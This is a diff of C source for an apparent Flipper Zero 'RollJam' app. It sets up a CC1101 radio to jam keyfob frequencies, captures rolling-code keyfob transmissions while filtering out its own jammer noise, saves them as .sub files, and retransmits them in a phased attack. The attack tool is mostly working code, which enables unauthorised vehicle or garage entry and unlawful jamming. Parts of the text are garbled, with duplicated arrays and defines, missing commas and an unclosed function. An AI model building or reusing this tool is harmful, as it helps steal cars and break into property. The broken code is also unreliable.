CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_ook_tx[] = {
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return (matches > (int)(s->size * 8 / 10));
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
@@ -171,90 +275,101 @@ typedef enum {
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
if(g_cap.state == CapDone) return;
cap_callback_count++;
g_cap.callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
bool is_silence = (dur > SILENCE_GAP_US);
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
switch(g_cap.state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
@@ -269,64 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
cap_ctx_reset(&g_cap);
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
@@ -334,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
@@ -353,64 +450,46 @@ void rolljam_capture_stop(RollJamApp* app) {
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
float rssi = furi_hal_subghz_get_rssi();
float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
@@ -419,7 +498,7 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
@@ -427,22 +506,21 @@ void rolljam_signal_cleanup(RawSignal* signal) {
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
int16_t prev = cleaned[out - 1];
bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
@@ -455,27 +533,23 @@ void rolljam_signal_cleanup(RawSignal* signal) {
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
@@ -484,8 +558,8 @@ void rolljam_signal_cleanup(RawSignal* signal) {
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
@@ -494,11 +568,9 @@ static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
@@ -507,33 +579,23 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* tx_preset;
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
// Transmit 3 times — improves reliability especially at range
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
@@ -550,14 +612,11 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
@@ -590,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
@@ -616,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}

View File

@@ -15,20 +15,11 @@
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -180,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
@@ -188,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
@@ -201,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);

View File

@@ -18,7 +18,6 @@
#define TAG "RollJam"
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
@@ -127,20 +126,17 @@ typedef struct {
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
@@ -149,16 +145,14 @@ typedef struct {
uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

View File

@@ -9,10 +9,8 @@
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -27,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
@@ -38,16 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Configure hardware type
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
@@ -67,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
